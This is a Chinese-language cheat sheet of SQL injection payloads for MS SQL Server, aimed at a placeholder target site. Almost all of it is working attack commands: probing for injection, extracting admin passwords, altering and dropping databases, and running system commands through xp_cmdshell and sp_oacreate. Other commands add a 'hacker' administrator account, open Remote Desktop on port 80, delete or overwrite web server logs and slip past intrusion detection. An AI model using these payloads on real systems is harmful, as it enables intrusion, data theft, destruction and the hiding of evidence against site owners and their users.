添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin

停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’

暴网站目录
create table labeng(lala nvarchar(255), id int)

DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result);

and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)

DOS下开3389 并修改端口号
sc config termservice start= auto

net start termservice

//允许外连
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0x0 /f

//该3389端口到80
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 80 /f
SQL Server

判断是否可注射:

http://www.targer.com/article.asp?id=6

http://www.targer.com/article.asp?id=6′

http://www.targer.com/article.asp?id=6 and 1=1

http://www.targer.com/article.asp?id=6 and 1=2

http://www.targer.com/article.asp?action=value’ and 1=1

http://www.targer.com/article.asp?action=value’ and 1=2

searchpoints%’ and 1=1

searchpoints%’ and 1=2

确定数据库类型:

http://www.targer.com/article.asp?id=6 and user>0

http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0

查询当前用户数据信息:

article.asp?id=6 having 1=1–

暴当前表中的列:

article.asp?id=6 group by admin.username having 1=1–

article.asp?id=6 group by admin.username,admin.password having 1=1–

暴任意表和列:

and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1

and (select top col_name(object_id(‘admin’),N) from sysobjects)>1

暴数据库数据:

and (select top 1 password from admin where id=N)>1

修改数据库中的数据:

;update admin set password=’oooooo’ where username=’xxx’

增添数据库中的数据:

;insert into admin values (xxx,oooooo)–

删数据库:

;drop database webdata

获取当前数据库用户名:and user>0

获取当前数据库名:and db_name()>0

获取数据库版本:and (select @@version)>0

判断是否支持多句查询:;declare @a int–

判断是否支持子查询:and (select count(1) from [sysobjects])>=0

数据库的扩展存储过程:exec master..xp_cmdshell

查看服务器C盘目录:;exec_master..xp_cmdshell ‘dir c:\’

判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’

恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’

删除扩展存储过程:;exec sp_dropextendedproc ‘xp_cmdshell’

在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:

;declare @s int

;exec sp_oacreat ‘wscript.shell’,@s

;exec master..spoamethod @s,’run’,null,’cmd.exe/c dir c:\’

判断当前数据库用户名是否拥有比较高的权限:

and 1=(select is_srvrolemember(‘sysadmin’))

and 1=(select is_srvrolemember(‘serveradmin’))

and 1=(select is_srvrolemember(‘setupadmin’))

and 1=(select is_srvrolemember(‘securityadmin’))

and 1=(select is_srvrolemember(‘diskadmin’))

and 1=(select is_srvrolemember(‘bulkadmin’))

判断当前数据库用户名是否为DB_OWNER:

and 1=(select is_member(‘db_owner’))

在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:

and (select top 1 name from master.dbo.sysdatabase order by dbid)>0

and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0

删除日志记录:

;exec master.dbo.xp_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’

替换日志记录:

;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’

获取WEB路径:

;declare @shell int

;exec master..sp_oamethod ‘wscript.shell’,@shell out

;exec master..sp_oamethod @shell,’run’,null,’cmd.exe/c dir /s d:/index.asp >c:/log.txt

利用XP_CMDSHELL搜索:

;exec master..xp_cmdshell ‘dir /s d:/index.asp’

显示服务器网站配置信息命令:

cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root

cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root

利用XP_REGREAD可用PUBLIC权限读取:

;exec master.dbo.xp_regread

hkey_local_machine,

‘system\currentcontrolset\services\w3svc\parameters\virtual roots\’

‘/’

SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。

3、DSqlHelper

检测权限SYSADMIN:

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))

serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。

检测XP_CMDSHELL(CMD命令):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_cmdshell’)

检测XP_REGREAD(注册表读取功能):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread’)

检测SP_MAKEWEBTASK(备份功能):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask’)

检测SP_ADDEXTENDEDPROC:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc’)

检测XP_SUBDIRS读子目录:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs’)

检测XP_DIRTREE读子目录:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree’)

修改内容:

; UPDATE 表名 set 字段=内容 where 1=1

XP_CMDSHELL检测:

;exec master..xp_cmdshell ‘dir c:\’

修复XP_CMDSHELL:

;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’

用XP_CMDSHELL添加用户hacker:

;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’

XP_CMDSHELL把用户hacker加到ADMIN组:

;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add’

创建表test:

;create table [dbo].[test] ([dstr][char](255));

检测表段test:

and exists (select * from test)

读取WEB的位置(读注册表):

;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’,@result output insert into test (dstr) values(@result);–

爆出WEB的绝对路径(显错模式):

and 1=(select count(*) from test where dstr > 1)

删除表test:

;drop table test;–

创建查看目录的表dirs:

;create table dirs(paths varchar(100), id int)

把查看目录的内容加入表dirs:

;insert dirs exec master.dbo.xp_dirtree ‘c:\’

爆目录的内容dirs:

and 0<>(select top 1 paths from dirs)

备份数据库DATANAME:

declare @a sysname; set @a=db_name();backup DATANAME @a to disk=’c:\inetpub\wwwroot\down.bak’;–

删除表dirs:

;drop table dirs;–

创建表temp:

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

把驱动盘列表加入temp表:

;insert temp exec master.dbo.xp_availablemedia;–

删除表temp:

;delete from temp;–

创建表dirs:

;create table dirs(paths varchar(100), id int);–

获得子目录列表XP_SUBDIRS:

;insert dirs exec master.dbo.xp_subdirs ‘c:\’;–

爆出内容(显错模式):

and 0<>(select top 1 paths from dirs)

删除表dirs:

;delete from dirs;–

创建表dirs:

;create table dirs(paths varchar(100), id int)–

用XP_CMDSHELL查看目录内容:

;insert dirs exec master..xp_cmdshell ‘dir c:\’

删除表dirs:

;delete from dirs;–

检测SP_OAcreate(执行命令):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘SP_OAcreate’)

SP_OAcreate执行CMD命令:

;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add’

SP_OAcreate建目录:

;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111’

创建一个虚拟目录E盘:

;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘

设置虚拟目录E为可读:

;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’

启动SERVER服务:

;exec master..xp_servicecontrol ‘start’, ‘server’

绕过IDS检测XP_CMDSHELL:

;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’

开启远程数据库1:

; select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=apachy_123’, ‘select * from table1’ )

开启远程数据库2:

;select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ‘select * from table’
